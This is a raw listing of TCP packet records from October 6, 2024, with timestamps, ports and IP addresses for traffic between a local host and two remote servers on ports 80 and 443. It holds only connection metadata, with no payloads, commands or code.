Oct 6, 2024 22:33:08.839828968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.839843988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.839864969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.839878082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.839899063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.839948893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.839963913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.839997053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840017080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840048075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840094090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840126991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840147972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840159893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840176105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840193987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840209961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840228081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840241909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840276957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840544939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840578079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840596914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840612888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840622902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840646029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840678930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840693951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840712070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840728998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840745926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840759993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840779066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840812922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.840857983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.840917110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841042995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841077089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841094971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841109991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841125011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841147900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841151953 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841188908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841316938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841350079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841356993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841434956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841469049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841502905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841546059 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841597080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841658115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841691017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841725111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841746092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841758966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841780901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841794014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.841814041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.841841936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.920743942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920809984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920819044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.920835972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920841932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.920883894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.920912981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920943975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920953989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.920975924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.920984983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.921010017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.921016932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.921046019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.921083927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.921123028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.923630953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923681974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.923687935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923713923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923737049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923749924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.923782110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.923835039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923897982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923922062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.923939943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.923968077 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924005985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924031973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924056053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924072981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924081087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924098969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924124956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924218893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924235106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924249887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924266100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924272060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924304008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924443007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924458027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924472094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924487114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924498081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924515009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924598932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924614906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924631119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924649954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924649954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924666882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924696922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924913883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924928904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924943924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924957991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924959898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.924976110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924992085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.924997091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925008059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925023079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925028086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925038099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925046921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925054073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925069094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925076962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925091028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925110102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925129890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925542116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925558090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925571918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925587893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925587893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925605059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925615072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925620079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925635099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925646067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925651073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925662994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925668001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925682068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925695896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925698996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925713062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.925724983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.925750017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926088095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926112890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926131010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926136971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926146030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926162004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926170111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926177025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926192999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926198959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926208019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926220894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926222086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926239014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926250935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926254034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926271915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926278114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926295042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926326990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926860094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926876068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926891088 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926906109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926908970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926920891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926935911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926939011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926951885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926965952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926966906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926984072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.926992893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.926997900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927014112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927022934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927027941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927042007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927045107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927057981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927067041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927073956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927088976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927090883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927103996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927125931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927144051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927809000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927824974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927838087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927853107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927856922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927866936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927882910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927886963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927897930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927912951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927913904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927928925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927933931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927943945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927959919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927964926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.927974939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927989006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.927997112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928004026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928009033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928020000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928042889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928045034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928057909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928070068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928072929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928103924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928136110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928755045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928771019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928785086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928800106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928811073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928816080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928832054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928843975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928848982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928855896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928867102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928881884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928885937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928885937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928899050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928904057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928915024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928927898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928934097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928941011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928951025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928958893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928966045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928981066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.928985119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.928996086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929006100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929027081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929665089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929681063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929693937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929709911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929713011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929723024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929725885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929734945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929742098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929754019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929757118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929763079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929773092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929786921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929790020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929806948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:08.929816961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929828882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929828882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.929853916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:08.993149996 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.993727922 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.993748903 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.994458914 CEST	49746	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.994467020 CEST	443	49746	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.998601913 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.998862982 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.998900890 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:08.999474049 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:08.999480963 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.007076025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007112980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007138014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007148981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007174969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007188082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007281065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007297039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007327080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007339954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007342100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007359982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007375002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.007405043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.007440090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.008109093 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.008378983 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.008409023 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.008874893 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.008882046 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.010080099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010094881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010109901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010158062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010181904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010193110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010210037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010225058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010247946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010272026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010384083 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010401011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010416985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010432005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010447979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010448933 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010466099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010471106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010479927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010503054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010610104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010624886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010649920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010665894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.010788918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.010804892 CEST	80	49741	141.98.233.156	192.168.2.4
